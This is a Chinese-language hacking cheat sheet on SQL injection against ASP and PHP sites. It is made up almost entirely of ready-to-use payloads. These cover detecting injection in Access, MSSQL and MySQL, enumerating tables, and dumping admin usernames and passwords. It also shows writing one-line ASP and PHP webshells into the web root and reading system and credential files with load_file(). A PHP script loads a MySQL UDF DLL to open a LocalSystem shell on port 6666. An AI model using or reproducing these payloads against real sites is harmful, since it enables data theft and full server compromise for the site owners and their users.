滲透筆記之腳本入侵(ASP、PHP)
簡單判定有無漏洞:
粗略型:'
1. 數(shù)字型:
and 1=1 and 1=2
2.字符型:
' and '1'='1 ' and '1'='2
3.搜索型:
%' and 1=1 and '%'='% 或者 %' and 1=2 and '%'='%
(PS:第三個大家可能不常用,他一般在ASP腳本中一般寫成:keyword=request(”keyword”),賦值“KYO”到SQL語句中的時候即變?yōu)镾elect * from 表名 where keyword like ‘%KYO%’)
簡單判斷數(shù)據(jù)庫信息:
語句型(IIS報不報錯,語句自己區(qū)分):
and user>0
and (select count(*) from msysobjects)>0 ……(頁面錯誤為access數(shù)據(jù)庫)
and (select count(*) from sysobjects)>0 ……(頁面正常為MSSQL數(shù)據(jù)庫)
and db_name()>0 ……(爆數(shù)據(jù)庫名)
version>0 (爆SQLServer版本信息以及服務(wù)器操作系統(tǒng)的類型和版本信息)
粗略型:加 ’(根據(jù)服務(wù)器報錯的信息來判斷)
加 ;--(;和--MSSQL數(shù)據(jù)庫里面一般都有, ; 表示分離,-- 則是注釋符ACCESS數(shù)據(jù)庫里沒有)
判斷MYSQL權(quán)限:
and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))--(頁面正常則為SA)
and 0<>(Select IS_MEMBER(’db_owner’))--(頁面正常則為db_owner)
and 0<>(Select IS_MEMBER(’public’))--(頁面正常則是public)
PS:以上方法適用于參數(shù)是int的時候,若為字符型,需在參數(shù)后添加’和查詢語句后添加;--
開始進行SQL注入(ACCESS):
猜解表名:
and 0<>(select count(*) from 表名) 或and exists(Select * from 表名)
and 1<(select count(*) from 表名) (頁面錯誤說明帳號數(shù)目就是1個)
猜解字段:
and exists(Select 字段名 from 表名)(頁面正常存在,不正常不存在)
猜解用戶名和密碼長度:
and(Select top 1 len(列名) from 表名)>N (TOP表示把最前面的一條記錄提取出來;N為變換猜解的列長度,頁面錯誤即說明該列長度為N)
如:and 1=(select count(*) from user where len(name)>6) 錯誤
and 1=(select count(*) from user where len(name)>5) 正確
則長度是6
猜解用戶名和密碼:and (select top 1 asc(mid(列名,1,1)) from 表名)>0
如:and (select top 1 asc(mid(user,1,1)) from name)>96頁面正常
and (select top 1 asc(mid(user,1,1)) from name)>97頁面錯誤
則ASCLL碼為97
PS:因為MD5的密文只有16,18,32,40這幾個,所以猜解密碼的時候只要試一試15,16,17,18,31,32,39,40等就簡單些。
開始進行SQL注入(MYSQL):
爆出表名和字段: having 1=1--
插入新記錄: group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
猜解表名:and (select top 1 name from sysobjects where xtype='u')>0 (獲得第一個表名)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0(獲得第二個表名)
………………
猜解列名:and (select top 1 col_name(object_id('字段'),1) from sysobjects)>0(得到字段的第一個列名)
猜解字段內(nèi)容:and (select top 1 列名 from [表名])>0
如:and (select top 1 username from [admin])>0 (獲取用戶名)
and (select top 1 password from [admin])>0 (獲取密碼)
導(dǎo)出webshell:
1.利用SQL執(zhí)行命令功能導(dǎo)出WebShell:
SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote
PS:需提供SQL執(zhí)行功能且知道絕對路徑方可使用(vote為已知表段)
2.建立一個有一個A字段的表 表名為a 字段類型為字符長度為50,在表A的a字段插入密碼為90sec的一句話木馬,把表a的內(nèi)容導(dǎo)出為物理路徑的一個EXCEL文件,導(dǎo)出為EXCEL后在利用IIS解析漏洞就可以變成小馬了。
語句:
create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("90sec")%>')
select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd
復(fù)制代碼
提權(quán):
1.system權(quán)限下直接添加賬號(可能的話):直接CMD命令添加
2.使用shell自帶的提權(quán)功能:Serv_U,pcAnywhere,Radmin密碼讀取等,全部試一試
3.利用系統(tǒng)的漏洞進行溢出提權(quán):利用巴西烤肉提權(quán),在CMD命令一行里輸入C:\recycler\1.exe空格“CMD命令”,1.exe就是巴西烤肉咯
4.用軟件的漏洞來提權(quán)(這個機會比較渺茫,個人沒有成功過)
5.在conn.asp webconfig.asp等文件查找SA密碼或者查找inc.php 等文件里面的ROOT密碼(可以用CMD語句查找,如:利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc*.php 來查找配置文件)
PHP+MYSQL
1.漏洞判斷同上。
2.數(shù)據(jù)庫信息判斷:
1.數(shù)據(jù)庫類型,簡單的直接利用上面的相關(guān)語句就可以
2.爆數(shù)據(jù)庫的版本信息,庫名以及用戶名(前提得到字段數(shù)及可利用字段):and 1=2 union select 1,2,3,4,version(),database(),user(),8--
或者:+union+select+1,2,,3,4,database(),version(),user(),8 (要在參數(shù)前加-)
3.數(shù)據(jù)庫權(quán)限:and ord(mid(user(),1,1))=114 /* (頁面正常說明為root)
4.爆操作系統(tǒng)相關(guān)信息:and 1=2 union all select @@global.version_compile_os from mysql.user /*
3.開始注入:
1.查詢字段: (1)用union聯(lián)合查詢:and 1=1 union select 1,2,3,4,5……
(2)用order by 查詢“order by *--
2.爆可利用字段:and 1=2 union select 1,2,3,4,5,6,7……--
或者+union+select+1,2,3,4,5,6,7…… (要在參數(shù)前加-)
PS:不用猜解可用字段暴數(shù)據(jù)庫信息(部分網(wǎng)站適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
第一種方法: 暴庫
3.暴庫 (前提是mysql>5.0,因為Mysql 5 以上有內(nèi)置庫 information_schema,存儲著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息):
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
4.猜解表名:and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)--
5.猜解字段:and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1
6.爆密碼:and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
PS:高級用法:Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
第二種方法:利用虛擬庫information_schema 爆表
3.+union+select+1,2,3,4,table_name,5+from+information_schema.tables+where+table_schema=數(shù)據(jù)庫名的16進制+limit+1,1
或者and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=數(shù)據(jù)庫名的16進制 limit 1,1--
PS: limit 1,1可以變化,查詢下一個
4.利用表爆字段:+union+select+1,2,3,4,column_name,5+from+information_schema.columns+where+table_name=爆出來的字段的16進制 或者:and 1=2 union select 1,2,3,4,column_name,5 from information_schema.columns where table_name=爆出來的字段的16進制--
5.爆用戶名和密碼:+union+select+1,2,3,用戶名字段,密碼字段,6+from+管理表
或者:and 1=2 union select 1,2,3,用戶名字段,密碼字段,6 from 管理表--
(PS:一次性爆表:.+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name),6+from+information_schema.columns+where+table_schema=數(shù)據(jù)庫名的16進制
一次性爆出所有字段:+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name),6+from+information_schema.columns+where+table_schema=數(shù)據(jù)庫名的16進制
一次性爆密碼和用戶名:+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+用戶名,0x5f,密碼),6+from+管理表)
PS:這里面所有的+號是代替空格的,還可以用/**/來代替,不同情況,不同分析!但是參數(shù)前必須加-4.拿webshell
1.導(dǎo)出一句話拿WebShell
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL); Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); Select cmd from temp into out file 'F:/wwwroot/eval.php'; Drop TABLE IF EXISTS temp;
或者:
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
復(fù)制代碼
PS:eval.php是導(dǎo)入對象
5.提權(quán):
第一種方法:直接寫馬(Root權(quán)限)
條件:1、知道站點物理路徑
2、有足夠大的權(quán)限(可以用select …. from mysql.user測試)
3、magic_quotes_gpc()=OFF
select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路徑’
and 1=2 union all select 一句話HEX值 into outfile '路徑'
load_file() 常用路徑:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、 usr/local/app/php5 b/php.ini PHP 的相當設(shè)置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統(tǒng)版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
網(wǎng)站常用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
第二種方法:直接在PHPSPY新建一個PHP文件.
輸入以下的內(nèi)容
$link=mysql_connect('127.0.0.1','root','root');
if (!$link) {die('Could NOt Connect The Database!: ' . mysql_error());};
echo "Good Boy.Connected!";
//這里的root\root就是從my.ini中讀取的用戶和密碼.
@mysql_select_db('mysql') or die ('use database mysql failed!');
echo "Yes You Did!";
//這里選擇使用MySQL數(shù)據(jù)庫表.當然你也可以選擇別的,如test.
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";
@$result = mysql_query($query, $link) or die ("Create Function Failed!");
echo "Goddess...Successed!";
//這兩句話是關(guān)鍵,執(zhí)行MySQL的創(chuàng)建函數(shù)語句.將d:\wwwroot\furq.dll中的Shell函數(shù)創(chuàng)建進MySQL中.使得MySQL可以執(zhí)行這個Shell函數(shù).
$query="Select Shell();";
@$result = mysql_query($query, $link) or die ("Execute failed");
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ";
//這一步是執(zhí)行這個Shell函數(shù),打開服務(wù)器的6666端口.
?>
然后再執(zhí)行,由于繼承的是MySQL的權(quán)限,而Win系統(tǒng)下MySQL默認以服務(wù)安裝,所以得到的Shell為LocalSystem權(quán)限